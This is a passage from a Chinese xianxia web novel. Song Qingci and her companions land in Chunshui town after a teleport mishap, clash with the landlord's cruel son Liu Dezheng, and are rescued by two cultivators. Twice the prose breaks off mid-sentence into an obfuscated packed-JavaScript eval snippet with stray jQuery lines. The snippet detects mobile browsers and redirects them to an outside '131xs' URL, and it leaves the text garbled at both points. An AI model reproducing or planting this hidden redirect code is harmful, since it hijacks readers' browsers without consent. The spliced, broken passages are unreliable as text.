而宋清词往黑衣人身上连砸的正是地级中品的爆裂符,不然一般的爆裂符不会打得黑衣人难以招架。
扔爆裂符的同时,她食指和中指并拢捻着弹雾符,随着爆裂符炸开的好几朵艳丽的焰花,黑衣人躲闪不及,弹雾符生效的顷刻,烟雾弥漫,月色本就看不清楚人影,这下更看不清了。
宋清词便是趁着这个时机,悄无声息拉进了谢鹤之,以生平最快的速度挪动着透明罩子,到达传送阵面前,她先推了谢鹤之出去。
被推进传送阵的谢鹤之立刻消失不见。她收起了罩子和赵燕茹小月一起坐了下一趟传送阵。
黑衣人追赶不急,只得眼睁睁看着她们一点点消失在自己面前。
劫后余生,宋清词重重松了口气,最开始这罩子是她翻找原主那些东西时找到的,没想过后来会救她们一命。
她来不及再去多想,当前坐的传送阵横遭意外,控制不住剧烈抖动着,刺眼闪烁极其耀眼的白光,令宋清词睁不开眼,周遭一股无形的力量几乎要将她的五脏六腑挤出来,她被压的险些喘不过气。
宋清词暗道不妙,大喝一声:“抓住我的手!”
传送阵横遭变故的第一时间,赵燕茹在小月身上施了层保护力,她和宋清词这种修士都快要被窒息感压得几近死去,小月一个柔弱的女孩自然抵抗不住这种压迫感。
赵燕茹和小月紧忙去抓住宋清词的手,三个人形成一个封闭的圈圈。
一阵天旋地转之间。
她们跌倒在地上。
宋清词察看了她们二人的情况,确认没事后便放下心,四周打量周围陌生的环境。
她努力寻找原书的内容,始终没找到有关的剧情,不过没气馁,毕竟原书关于青云寺的那段描写都是寥寥几笔,对于变化外的这些没描写实属正常。
宋清词找了个凳子,准备休息会儿,刚坐下,躺着的赵燕茹醒了,显然对不久前发生的事没反应过来。
“应该是传送阵出了问题,把我们传送到这里。”宋清词斟酌着开口道:“逃脱了黑衣人,问题不大,往好处想,至少现在是安全的。”
赵燕茹没想到宋清词会这么说,愣怔了片刻,回过神道:“师妹所言极是,那我们现在该怎么办?”
回应赵燕茹的是空气中久久的沉默。
传送阵带她们去了一片森林。
森林里鸟兽成群结队地穿梭在头顶上,时不时发出阵阵的鸣叫声,树上三臂灵猴的影子一晃而过,周遭的灌木丛偶尔窜时几只兽族。
宋清词张了张嘴,正要说话时,小月醒了。
小月面对不熟悉的环境相当紧张,害怕地钻进宋清词怀里,宋清词抱着她,睫毛轻颤,看向远方的眸光复杂,“不管怎样,我们得先从这片森林里出去。”
不知为何,明明她和小月接触的时间不久,比起旁人,小月分外粘着她。
宋清词站起来拍去衣服上的灰尘,小月抱着她的腿躲在身后,她出言安慰道:“没关系,不管发生什么,我们会保护好你的,不用担心。”
小月这才肯走出来,赵燕茹看破她心中的担忧,牵起了她的手,“现在往那边走?”
有两道路口在她们前面,一左一右。
宋清词纠结半晌道:“我的直觉向来不准,听赵师姐的吧。”
赵燕茹选了左边那条通道。
左边的通道往里走安全得不能再安全,一路走过都没碰上什么危险,连栖息在森林里的灵兽都不曾见几只。
越是这样,宋清词心中越感到危险。
森林的树长得极为高大粗壮,每棵大树恨不得捅破这层天,长到天地之外的地方去。
“哎呦。”
附近传出一声惊呼。
宋清词按住赵燕茹前进的动作,自己先前一步查探具体情况。
方才发出惊呼的是一位年过七旬的老人,老人白发苍苍,佝偻着腰背着一捆高高的柴火重重摔倒在地,用来杵着走路的拐杖被抛在角落。
老人因着后背背着一捆比他整个人高上半截的柴火而久久不能起身,他的眼睛看得不大清楚,拐杖成了他最大的依仗,失去最大的依仗的他摔倒的第一时间四处摸索,寻找拐杖。
见此情形,宋清词虽怕有诈,不敢靠得老人太近,出于不忍仍是替老人找了那根拐杖,将离老人相隔甚远的拐杖送到他跟前。
老人摸到拐杖,露出微笑,十分感激道:“若没了这根木杖,老朽可真不知道怎么办,多谢姑娘的出手相助,姑娘会出现在此处,可是在森林里迷路了?”
“的确在森林里迷路了,原是家中出来打猎的父亲久久未归,我们怕他横遭了变故,情急之下特来寻他,不曾想森林实在是大,一时间分不清方向。”宋清词睁眼说瞎话,瞎编了个理由。
老人信以为真,“如不嫌弃,老朽对这片地方熟悉,可带你们出去。”
宋清词讶异道:“真的吗?那太感谢您了。”
她赶上前扶起老人,顺便帮他系紧了那捆松散的柴火。
老人急忙又感谢了宋清词一番,递给她一枚玉佩,见她正要推脱,强硬地塞进了怀里,说道:“世上讲究一报还一报,姑娘今日帮老朽两次,送你们出森林是一次,玉佩是第二次。”
他态度强硬,宋清词不好再推脱,便收下来,向老人介绍站在身后的赵燕茹和小月,“这两位是家中的姐妹,一时心急,跟着我一齐来了。”
“家中三姐妹果真孝顺。”老人抚摸着长长的胡须,露出慈爱的笑容,看她们的眼神犹如在看家中的小辈,“时候不早了,老朽带你们出去罢。”
宋清词和赵燕茹向他说了几句感谢的话。
言罢,跟着他去了一条小路。
其路上老人一直跟她们讲述自己年轻时候的事。
附近的镇子名叫椿水镇。
老人年轻时是镇上有名猎户,靠着有幸学过的那些修士入门的秘籍,获得了微博的灵力,加上他生得本就人高马大,膀大腰圆,在打猎方面胜过其他人。
他也曾肖想过成为追求长生不老,寻仙问道,可后来发觉自己实在没有那方面的天赋,修了那么些年,修为始终停留在练气三层,不得已放弃了,安心做个寻常人娶妻生子。
他的儿子继承衣钵,同样为猎户,这次因着负责去森林砍柴的儿子前些日子受了伤,腿脚不便,家中又急缺柴火,老人想着自己好歹是练气三层的人,寻常花甲老人比不上他,便动了念头,来了森林砍柴。
宋清词起初留了个心眼,毕竟老人出现的过于蹊跷,后来观察下来,发现他没有任何动手的迹象,就歇了心思。
一行人说话间走出了森林。
老人挽留道:“家里的老婆子烧饭厨艺尚可,倘若不嫌弃,留下吃顿饭再走怎样?”
宋清词婉拒道:“卧病在床的母亲还在等我们会去做饭,就不劳烦您费心了。”
“那你们早些回去罢。”她说到那种程度,老人不好再出言挽留,朝着她挥挥手告别。
宋清词望着老人的逐渐拉长的背影,直至肩膀被人一拍,方才回神,注意力重新集中。
“接下来你打算怎么做?”赵燕茹问。
宋清词眉梢微动,忖量道:“去找找镇上的客栈歇息,不过……最好离老人的住处远些。”
要是被当场拆穿就麻烦了。
得亏原主之前去了一趟凡间,用灵石换了不少的钱,不然今天她们一行人说不定真得露宿街头。
说来奇怪,椿水镇不似寻常地方那样,说是凡间,这里又有灵兽,非要说修仙之地,却灵气稀薄,不足以支撑修炼,他们当地大多数人没有修炼的天赋。
宋清词多了些许的惆怅,按道理来说传送阵出意外的概率是百分之零点零一,自己当真就那么好运赶上了百分之零点零一?
她没有惆怅太久。
小月一路听着宋清词应答如流老人的问话,面不红心不跳地撒谎,顿时生起好奇的心思,“被发现会受到很严重的惩罚吗?”
“嗯。”宋清词心中的惆怅消散,有几分吓唬小孩的本事,表情严肃道:“小月啊,要被发现,我们就全部完蛋了,你得乖乖藏好知道吗?”
小月被唬到了,紧紧抓住宋清词的衣角,认真道:“小月会努力藏好的。”
“不错。”宋清词颇感欣慰地点点头。
接下来她们三个人去镇上找了客栈,一共要了三间房。
小月想着定两间,和宋清词睡一间,同时省些灵石,但她不肯,非要定三间房,说两个人睡一张床睡不习惯,而且客栈只剩下三间房,正好一起定了。
宋清词执着不退步,小月只好点头答应了,赵燕茹没带钱,定几间房轮不到她说了算,随便宋清词怎么弄,总归不让自己睡在大街上。
宋清词刚要付下钱,被身后传来一道急促的男声打断。
“慢着!”
“这位姑娘,椿水镇客栈这么多,不如把这三间屋子让给我们可好?我们愿意出双倍的价钱买下。”
男子样貌阴柔,身着锦衣玉袍,发束金冠,金冠的正中间镶嵌着一颗硕大的夜明珠,说话时不忘展示出手里的折扇,上面用金丝绣着几行端正的小楷。
赵燕茹伸手挡住宋清词,“我们不缺钱。凡是都讲究个先来后到,既是我们先来到,那三间房自然归我们,劳烦你另寻它处。”
男子没料到赵燕茹会说出这种话,煽动折扇的力度不由加重,脸色沉了下来,眼底的阴鸷一闪而过。
“好大的口气,好好和你说话你不听,那休得怪本公子无理了,今日这三间房我要定了,再给你一次机会,现在改变主意还来得及。”男人死死盯着赵燕茹,要是下一秒说出拒绝的两个字,仿佛就会立刻生吞活剥了她。
宋清词快速眨了眨杏眸,她也未曾想过赵燕茹会突然站出来,之前心中怪异的感觉貌似在此时扫空了一半,取而代之的是一阵快意。
不过她并不打算现在出声,静静等着赵燕茹的反应。
赵燕茹依旧维持着先前的态度,多了几分嚣张气焰:“听不懂我说的话?是我们先定下的房间,你另寻它处。”
“好,好,好得很。”男子头一次被人这么说,胸腔处燃烧的火登时起来了,愤怒道:“那我今日就瞧着你有没有这个能力让我换地方!”
男人两侧跟着的人随着话音的落下,上前一步,二话不说和赵燕茹打了起来。
在这场比试里,胜负的早已定下,赵燕茹绝对不会输。
饶和她对上手的那人有通天的本事,但赵燕茹好歹作为修士,再弱的修士怎会输给区区一介凡人?
宋清词直接盖下了定论,索性付了钱给掌柜,掌柜掂了掂手里的钱,愁容满面。
“不用怕,我们会赢的。”宋清词压下声音道。
掌柜挤出一抹勉强的笑:“哪里的话,输赢不是问题,问题在于那男子……姑娘你可知他是何等人?”
宋清词老实摇头,“不知。”
“那我奉劝姑娘一句话,趁早收拾吧,省的到时候被他记恨上,没个安生子过。”掌柜正犹豫着该不该收宋清词的钱,瞅着阴柔男子叫的那人攻势变弱,由攻转守。
“怎么说?”宋清词被勾起了好奇心,“这也好让我们日后避着点,以免再犯类似的错误。”
掌柜出于好心提醒道:“那男子是镇上刘地主的小儿刘德正,刘地主老来得子,疼得跟眼珠子似的,别提多宝贝了,向来娇惯着他,但凡是刘德正想要的,就没有得不到的。”
“刘德正跟刘地主一样,是个心眼比□□还小的人,以往得罪他的人或是他容不下的人通常死得很凄惨,唉,他们那些折磨人的手段,能留一具全尸都算得上好啦。”
“我劝你们早点和他道歉,也能免得一些折磨。”
掌柜是真心实意地劝宋清词,“要你们打输了还好,这下打赢了,只要留在椿水镇一日,他们就必定不会放过你们的,唉。”
掌柜连连叹
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222890|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息,怜悯地瞥了眼宋清词,终究于心不忍,收下了手里掂了好几次的钱。
赵燕茹和那人的打斗终于结束,阴柔的男人出门只带了一个人,心中有再多的不甘,如今的局面都不能再继续下去,这三间房注定与他无缘。
只得带着手下愤愤离去。
小二在一旁候着,见赵燕茹那边的打斗结束了,带她们去往定下的三间房间。
她们的房间在二楼,恰好正是连着的三间,宋清词去了看自己房间后,又特意跑去赵燕茹的房间逗玩,她和小月正讨论着刚刚打斗的场景。
宋清词忽然开口道:“师姐,我觉得你这个房间不错,不知可否与我换一间?”
赵燕茹想都不想,一口答应。
宋清词和她们说了几句,临走前去了一趟小月的房间,帮她收拾了东西,随即走向一楼。
一楼正中间的桌子,一行人端坐在木椅上,穿着大差不差的月白衣袍,袖口处镶着墨色滚边,绣在胸口的栩栩如生的莲花,腰间缀着白玉环,不用猜就知道他们是一伙的。
不过他们带来的感觉总有种莫名的熟悉。
宋清词一时间说不上来原因,想不起来就不想了。
她找了处空桌坐了下去,点了几个菜,虽然说得好听,修仙之人不能在乎口腹之欲,但偶尔吃几口问题不大。
不多久,小二端上来她点的几盘菜。
宫保鸡丁,荷包里脊,鲜蘑菜心,鲫鱼豆腐汤。
三个人三菜一汤就够了。
“桂花糕是掌柜的送您的,客官您好生享用,若有吩咐尽情唤我。”小二最后送了桂花糕,抢先在宋清词询问前说道。
宋清词挥挥手,拿起筷子细细品尝着菜的味道,这间客栈的饭菜口味都不错,尤其是鲫鱼豆腐汤鲜嫩清香。
她吃着菜,坐的位置离那行穿着月白衣袍的人很近,能将他们说的话听得一清二楚。
“大师兄什么时候回来?”
“得过几日,他现在处理那件事情,暂时脱不开身。”
“诶,你们可知晓上次大师兄回来发生的那件事?”
“什么什么。”
“邱舒!往事已过,莫要再提,此乃大师兄个人的私事,怎可擅自议论?”
“林师兄真小气,不说就不说。”
宋清词竖起耳朵,还以为他们会说些有用的情报,结果谁都没再说话。
他们不说,她只好向掌柜打探了关于椿水镇的消息。
好消息:椿水镇处于凉州的范围内。
坏消息:位于凉州和凡间交汇处的边缘地带。
先前心中的疑惑有了解答,怪不得森林里会有灵兽,椿水镇的人长期去往森林没被灵兽吃掉,估摸着里面应该尽是低级灵兽。
低级灵兽比普通的禽类好上一些,尽管也没好到哪里去。
宋清词怀着猜测接着问掌柜,“椿水镇附近有传送阵吗?”
“传送阵?”掌柜思索良久,猛地想起来了,“有是有,具体在哪儿我就不知道了。”
掌柜开的客栈好说歹说开了那么多年,知道的东西总比平常人知道的要多,打从初见宋清词和赵燕茹时,他就明白她们两个人并非椿水镇本地人,应当是误入的修士。
他本想试着问问,不料宋清词竟爽快地承认了。
“如果要找传送阵,那极大可能在刘地主家中。”掌柜解释道:“刘地主的府邸可谓占了椿水镇风水最好的地方,同样是灵气最充足之地,您最好事先去探查一番,不过……”
掌柜话音一顿,“您和刘德正闹出的那档子事,估计别想以原本的容貌去他家了,不然被他认出来可就糟了。”
宋清词觉得掌柜说的有道理,抛下几个碎银在桌面上,掌柜乐呵呵接过。
问出了自己想要的,宋清词回到饭桌上,同赵燕茹商量着该如何进刘地主府邸的事。
刘地主不是一个好相处的人,要想进去要么使一些法术,光明正大进是不可能的,不被打出去就不错了。
要么就是伪装进去。
思来想去,宋清词最终决定采用第二种。
靠得极近的那桌子人讨论声响起。
“过几日去刘地主家里,你们几个切记小心点。”
“知道了。”
“大师兄会和我们一起去吗?”
“别再问大师兄了,你怎么十句话里七句不离他?”
“会,他会事先同我们汇合,这件事不能失败,只能成功。”青年心无旁骛,专心回答问他的人的话。
“失败了回去应对的惩罚,你们自己心里清楚。”
宋清词嘴角微不可察地轻轻翘起来,这算不算正赶上想打瞌睡老天递枕头?
总算有些有用的了。
听着他们的话,宋清词琢磨着他们一行人也不是椿水镇的本地人,八成和她一样,是从外面进来的。
他们几人过几日才去刘地主家里,她得在这几天内混个脸熟,想办法蹭进去。
宋清词指点轻轻点着桌面,视线忽然放在小月身上,喊来小二的,重新点了两个菜,“想吃什么随便点。”
小月含羞地垂着脑袋,仿佛刚刚风卷残云的不是她一样。
宋清词低估了小月饭量,瞧着她个子矮矮的,瘦瘦的,没想到饭量出奇大,让路过的人忍不住目光投向她们这桌。
赵燕茹巴不得她多吃点,美名其曰,正是长身体的年纪,吃得多才好。
晚饭过后,她们三人各自回到房间休息。
宋清词躺在床上闭上眼睛,思绪放空,想着近来的事情。
她们坐着传送阵却突然齐齐消失,消息传回天剑宗,鱼双和姜玉珩肯定会担心,也不知谢鹤之怎样了……
目前她还不想面对谢鹤之,一想到隔间内自己喂了他吃傀儡丹,就不知该怎么解释。
算了,事情发展到现在这样,系统不会再跳出那些面红耳赤的剧情了吧?
宋清词再次翻了翻原书的内容,再三确认关于这段椿水镇的剧情寥寥无几,何况着实没有出生在椿水镇长得美如冠玉,亦或剑眉心目的男配,那问题不大,她四肢舒展开,缓缓吐出一口浊气。不管它了,就当放假好了。
她本打算闭着双眼睡觉的,翻来覆去睡不着,收到了鱼双传的消息。
鱼双用了独有的传音密法,此法只能来回用一次,且非常消耗灵力,自从听了谢鹤之带回来的消息,他始终担忧宋清词出了事,迫不得已才用了传音密法。
他发的消息简单明了。
———活着?在那儿?
宋清词想了想,跟着模仿回复:
———活,椿水镇。
可惜宋清词忘记了鱼双消息简单明了的原因,同时忽略了自己的实力。
所以远在天剑宗的鱼双只收到了“活”一个字,后面那几个字没传过去。
宋清词发完了消息,睡意袭来,合上眼睛沉沉睡去。
翌日上午。
宋清词被小月叫醒去一楼吃饭。
11. 被威胁的老妇人
宋清词跟着她下楼,她醒的最晚,赵燕茹和小月早早就醒了,在一楼候着她。
“你现在打算怎么办?”赵燕茹问道。
宋清词用勺子搅动着碗里的皮蛋瘦肉粥,挖了一勺送到嘴边,“走一步看一步,先等着吧。”
赵燕茹说:“说得有几分道理,可一直静候不是个办法。”
宋清词掀开眼皮,将从掌柜那里得知的消息告知她道:“依师姐所言,该当如何?我已其他人打听过了,能送我们回去的传送阵在刘地主家里,昨日与你交手的那个男人是他最宠爱的小儿子。”
“怎么会呢?”赵燕茹看向宋清词的眼神茫然而震惊,反应过后立即低下头,紧咬着下唇,语调颤抖:“对不起,我不是故意的,我……我不知道他是刘地主的小儿子,早知道这样,昨日我就该忍下那口气,不和他起冲突。”
“是我给你添麻烦了。”
宋清词默然不语,反而小月不明所以,眼巴巴凑到赵燕茹跟前,关心道:“姐姐你怎么哭了?”
赵燕茹手忙脚乱地拿出帕子拭去眼角的泪珠,声音带着几分掩饰不住的哭腔:“姐姐没事,是我做错了事情,小月专心吃饭好不好?”
“我没有怪你的意思,”宋清词放下手上的勺子,坦诚道:“昨日倘若是我也会那么做,木已成舟,别再去想些有的没的了,传送阵的事一时半会急不得,来都来了,这几日待在镇子上到处逛逛也不错。”
赵燕茹还没说话,身旁的小月先欢呼出声:“真的吗?宋姐姐。”
“当然,难得来一趟。”宋清词扬眉,弯着唇角。
她们二人已决定好去处,赵燕茹只得由着她们去。
椿水镇没特别好玩的东西,就是一座普通的小镇,地方说大不大,说小不小,用不着两天就能全部逛完。
她们赶上了椿水镇的集市,正是最热闹的时候,街道上摆着的摊贩很多,人潮涌动,熙熙攘攘,吆喝声,叫卖声,铁器敲打声,车声马嘶声汇聚一片。
街道两旁最前面的是整齐的茶水阁楼,满街的店铺旗幌交错,牌匾并排接连,墙壁上涂刷着一层又一层鲜红的朱漆。
宋清词走到街上险些被络绎不绝来往的人摔倒在地,幸好赵燕茹及时扶住了她才逃过一劫。
赵燕茹抓紧了小月的手,街道里的声浪过于嘈杂,她不得放大了声量道:“人实在太多了,我们找个地方避避。”
宋清词正有此意,便找了块清净的地儿待着缓缓。
虽然她知晓今日是集市,但这来往的人实属太多了些,莫不是整个椿水镇的人都来了这里。
宋清词原本跟着客栈的那群人出来的,谁能料到没跟多久就被如流水的人潮冲散了。
她倒不着急,反正知道他们的位置,等人散得差不多了再跟过去找他们。
只是她不急,赵燕茹却急了。
见着她端着茶杯,慢悠悠的样子,赵燕茹开口询问道:“现下人散了大半,我们要不要出去再瞧瞧?”
不等宋清词回话,她温柔地对着小月说,“小月,你想不想出去玩呀?”
小月鲜少出门,第一次遇上这种热闹的场景,虽对周围的一切事物充满好奇,却升起接触新事物的害怕,她怯怯道:“不…想!我想去的,可以吗?”
她说这话时望着宋清词,显然看出来了她们三个人去向的决定权掌握在宋清词手上。
顶着二人的视线,宋清词眉梢轻佻,展颜一笑,反问道:“为什么不可以呢?”
得到宋清词肯定的答复,小月欢呼出声,拉着她的手往外跑,赵燕茹在她们身后跟着。
一路上小月左看右看,好奇地四处打量,她的个子矮矮的,有些摊子东西摆放的比较高,只能伸长脖子去看。
宋清词被她逗笑了,问道:“有想要的?”
小月晃晃脑袋,“不想要,看看而已。”
她说出来一回事,脸上挂着的表情,手上做出的动作又是另外一回事。
“想要就直说。”宋清词甚觉得好笑,直接道:“我不缺这点钱,错过了就不买了,赵师姐也是。”
小月一双圆润的眼睛滴溜一圈,松开了抓着宋清词的手,径直跑向冰糖葫芦的小摊处,指着一串饱满的冰糖葫芦,“我想要这个!”
红通通的山楂外层裹上金黄的糖衣,每颗犹如红灯笼被串连在一起,晶莹剔透。
宋清词要了三串冰糖糖葫芦,自己一串,另外两串给赵燕茹和小月。
小月拿到冰糖葫芦开心极了,蹦蹦跳跳的,赵燕茹摆手推脱,被宋清词按住,强制接下了。
宋清词一口咬下冰糖葫芦,外酥里软,甜味和酸味两种味道瞬间爆发,刺激着味蕾,遍布嘴里的每个角落。
她咬着冰糖葫芦,瞥到不知何时围成一团的人群,周遭忽然安静了许多,没了嘈杂的声音,只能听见女人不断的道歉和苦苦哀求。
人群围成的中心传来熟悉的男声。
“撞了我就想走?哪有那么好的事。”刘德正冷眼睨着瘫倒在地的老妇人,嚣张道:“没门,我告诉你,今天要是让你这么走了,我刘德正这三个字倒着写!”
老妇人心慌意乱地站起来,两侧的双手悬在空中不知所措,急忙道:“这位公子,实在对不住,我真不是故意的,人命关天,家中还有突然卧病在床的老伴等着我请郎中照料,能不能先……”
刘德正挥手直接打断了她的话,不耐烦道:“关我屁事?活一大把年纪,请什么郎中?早点死了算了。”
“可我那摔了腿的儿子在家中无人照料,真的脱不开身,今日之事,的确是我没看好路。”老妇人不愿同刘德正多作无用的争辩,寄希翼于他能大发善心,早点放过她。
刘德正不但没有退让,反而更加咄咄逼人:“正好啊,让你那倒霉催的儿子给你老伴陪葬,一同去死,还省得多办一桩丧事,老婆婆,你看我多为你着想,今日说什么都不会让你走。”
“来人,拦住她。”
话音刚落,刘德正身侧几个穿着蓝衣长袍的男人上前一步,挡住了老妇人的去路。
老妇人能走出去的方向都被死死围住了,急得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248296|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像热锅上的蚂蚁,弯着双膝,跪下来求他,“求求您了,您想要我做什么都可以,只是我老伴实在等不及了,耽误不得啊。”
刘德正冷哼一声:“说得乱七八糟的,跟我有什么关系?”
刘德正背过身,目光扫向围观的人群,怒骂道:“看清楚了,这就是冲撞本公子的下场。”
他眼神如炬,视线一下子定格在藏在人群中的赵燕茹和宋清词。
刘德正瞳孔骤缩,指着她们道:“把她们两个给我抓起来!”
经历了上一次的事,这次刘德正有准备,特意带了十几个护卫出门,为的就是找她们麻烦,找回丢掉的面子。
宋清词最初听到人群的动静和那道熟悉的声音,抱着看热闹的想法凑上前围观,没想到最后自己成了其他人眼里的热闹。
除了守在刘德正身边的三个护卫,其余的护卫拔刀朝着她的方向冲了过来。
刀剑无眼,看热闹的人群生怕殃及自己,顷刻散去。
赵燕茹一人挡在宋清词的面前,剑出鞘,在她和护卫中间干脆利落地斩开一道泾渭分明的线。
刀剑碰撞迸发火花,赵燕茹护住了宋清词,以一敌十,一时间竟也不落下风。
数十名护卫将她们团团包围,使得无处可逃,他们一个个蜂拥而至,其中一名护卫抬起长长的弯刀,狠狠劈向赵燕茹的肩膀,赵燕茹举着剑挡下这一击。
不给她任何喘息的机会,第二名护卫腾空而起,攥着刀柄的手筋脉凸现,反手刺着她的天灵盖,赵燕茹抬头驻足刹那,身体反应迅速,宛若游鱼,轻松躲开,狠狠踹了他一脚。
赵燕茹提着剑,剑身散发出威严的气息,令人无端产生跪拜屈服的心理,另外一名藏在暗处下黑手的护卫直接“噗通”双膝下跪。
宋清词自知她一人无法抵挡住数十名护卫的攻击,把小月护在她们二人的中间,以防被人突击。
掏出了一个再熟悉不过的东西——透明罩子法器,趁着赵燕茹喘息之机,扯住她的衣角拽了过去,眼疾手快盖住她们三人。
别说,这东西简直不要太好用。
留下一帮护卫在原地大眼瞪小眼。
此举动把刘德正气得不行,指着他们的鼻子怒骂道:“一群废物,没用的东西!十几个男人,叫你们抓两个女子过来都抓不住!”
“留着你们有何用,一群吃干饭的!”
刘德正大步流星走到她们的罩子前,气急败坏道:“你以为躲得了一时,躲得过一世吗?今日我倒要看看你们要怎么出来。”
宋清词泰然自若,随他怎么说,这些言语上的辱骂攻击不到她半分。
赵燕茹呆愣在原地,眼神有些复杂,似没预料会以如此简单粗暴的方式结束,准备好的计划无处施展。
刘德正见宋清词毫无反应,额头青筋突起,眼中闪烁着愤怒的光芒,随后想起什么,招呼护卫架着老妇人上前,老妇人脖子上被护卫夹着刀,跪坐地上,他阴森森威胁道:“再不出来,我就杀了她,你难道要眼睁睁看着一个无辜的人因你而葬送性命吗?”
12. 被救
宋清词不吭声,依靠在透明的罩子上,心中盘算着时间,将刘德刁滑奸诈的表情看得一清二楚,一字一句道:“你凭什么觉得我会为了一个无关紧要的人搭上我的命?”
“好,好,好。”刘德正仰头哈哈大笑,眸子晃出一抹狠戾的光,“你都这么说了,今日这老太婆必死无疑,记住,是你的无情无义害死了她。”
他大手一挥,示意架着老妇人的护卫立即动手,护卫高高举起着刀,正要砍下老妇人的脑袋时。
“等下。”宋清词喊了声。
刘德正仿佛一早笃定了宋清词不会眼睁睁看着老妇人死去,心里畅快极了,面上露出得意之色。
他见过许多贪生怕死的人,像宋清词这种菩萨心肠的人甚是少见,死到临头,还在关心她人的,对付这种人比其他人简单不少,稍微使点手段就能让她们心软同情,甚至不惜舍以自己的性命为代价。
“怎么,你后悔了?”
宋清词看了眼可怜无助的老妇人,轻声回道:“可以按照你说的做,前提是必须先放了她,你会信守承诺的对吧?”
刘德正舔了舔嘴唇道:“当然。”
得到刘德正的许诺,宋清词作势要收起透明罩子,手腕被赵燕茹搭上,她压低声音问道:“你当真听信了他的话?”
“这不重要。”宋清词握住赵燕茹的手腕,轻轻放下,对刘德正喊道:“你先放了她,否则我不出去。”
刘德正朝护卫使了个颜色,护卫放下了架在老妇人脖间的刀,推搡她往前。
宋清词按照约定那般,撤掉了护着的透明罩子,周围等待已久的护卫拎着刀齐齐上前,不留一点缝隙,堵得水泄不通。
而刚刚被松开的老妇人又重新被他们绑了起来。
刘德正背手大大方方走到她们面前,面上带着几分阴鸷,此时犹如欣赏自己的胜利品注视着宋清词,语气透露出难以压制住的兴奋:“真是愚不可及,为了没有半分瓜葛的人搭上自己的命,敢招惹我的人从来都没有好下场,不过……”
他狠狠捏着宋清词的脸,迫使她抬头仰望他,眼底掠过惊艳之色,感叹道:“你这张脸长得不错,直接杀了可惜,放心,我会把你这张脸和她的脸都发挥到极致,带你们登上极乐世界。”
说着刘德正眼睛色眯眯地徘徊在宋清词和赵燕茹之间。
宋清词强压下心中的不适,酝酿了会儿情绪,掐准时机,泪滴悬在下颚划下,借着仰头逼退泪意,正对上刘德正的视线,尽心尽力扮演着不服强权的倔强小白花的角色,哽咽道:“你这样做会遭报应的。”
“报应?”刘德正听到这个肆无忌惮地大笑,不屑一顾道:“报应对我来说从来不存在,要遭报应我早遭了哈哈哈哈哈。”
他不欲和宋清词多言,下令让护卫们直接对宋清词她们三人下手。
护卫们得了命令,跨前一步要把她们用绳子绑起来,负责绑的护卫将绳子缠在宋清词身上,绕了一圈,正要打上死结时,一柄剑从天而降,横立在他和宋清词中间,拉开了她们的距离。
“光天化日之下,简直岂有此理,”来人义愤填膺地斥责刘德正胆大包天的行为,“这和恶霸有什么区别?”
刘德正神色微愣,很快反应过来,勒令一半的护卫去攻击突然出现的青年。
护卫们听从他的安排,留了一半的人钳制宋清词三人。
他们调转了方向,对着缓缓走来的青年一顿砍,结果天空飞来一支羽毛箭,正中一名护卫的额头中心,速度太快,那名护卫来不及回神,便倒在地上。
其他护卫们不约而同朝着箭射来的方向望去,一位娇俏动人的少女迈着步子奔来,“呀,不小心射中了,真的不好意思。”
话虽是道歉,说出来却半点没有道歉该有的语气,少女说着再次弯弓随意朝着空中射了一箭,那箭似定位在了刘德正的那群护卫身上,浮游了一段,居然又转头直奔护卫脑袋上。
尽管他们这次早有准备,警惕四周,但少女射出去的箭犹如沾上了无法抵挡的力量,令他们动弹不得,只能按耐在原地等待箭落宣判命运的结果。
“别说那么多了,早打完早了事。”被唤作巫桐的青年满脸不耐,拔出深深插在地上的剑,扛着剑二话不说冲了上去。
少女又搭起箭,这次对准的不是护卫们,擒贼先擒王,那群护卫们说到底听从刘德正的安排,只要他死了,剩下的护卫们群龙无首,不足为据。
打定了主意,少女和弦,蓄力拉着弓,瞄准了刘德正,动作干净利落,一起呵成,一支箭如白虹贯日,伴随着箭射出周遭的空气被搅成一团,轰鸣声声势浩大。
刘德正眼睛圆瞪,如同置身冰窖,心脏在胸腔里狂跳不止,不敢相信眼前的局势为何突然扭转,几乎是下意识本能的驱使,拉了旁边的护卫替他挡下这一箭。
少女看着这一幕,勾着唇角,宛如恶魔在他耳边低语道:“你的报应来了。”
惊恐如潮水般席卷而来,刘德正脚步踉踉跄跄,动作变得迟钝无比,慌乱地想要逃离这里,脑中一片空白,一时间没看清脚下,被跌坐在地的老妇人的腿绊到,离他最近的护卫搀扶着他起身。
部分护卫们留下同巫桐作斗争,为刘德正打掩护,其余的护卫们齐齐后退,形成人肉屏障护着刘德正安全离开。
少女并没有多同他们作纠缠,手上的弓箭顷刻化为白玉点翠簪插在发间里。
“我是孟幼仪,你呢?”孟幼仪伸手拉拉一把地上的宋清词。
宋清词说,“宋清词,我的名字。”
她指着旁边的二人挨个介绍,“这是赵燕茹和小月。”
小月经历了这些事情,脑子处于发懵状态,害怕地抱着赵燕茹,往她怀里缩,赵燕茹不好意思地笑道:“她怕生,胆子小,见谅。”
“没关系,你们好呀,”孟幼仪抬眸看向肩上扛着剑的巫桐道:“这是我师兄,巫桐。”
宋清词点头,迎面撞上巫桐漆黑如墨的眸子,又再点头,他见状笑了笑,二人算打了招呼。
“能问你们之间发生的事情吗?如果不方便的话直接同我说就好。”孟幼仪耐不住好奇问道。
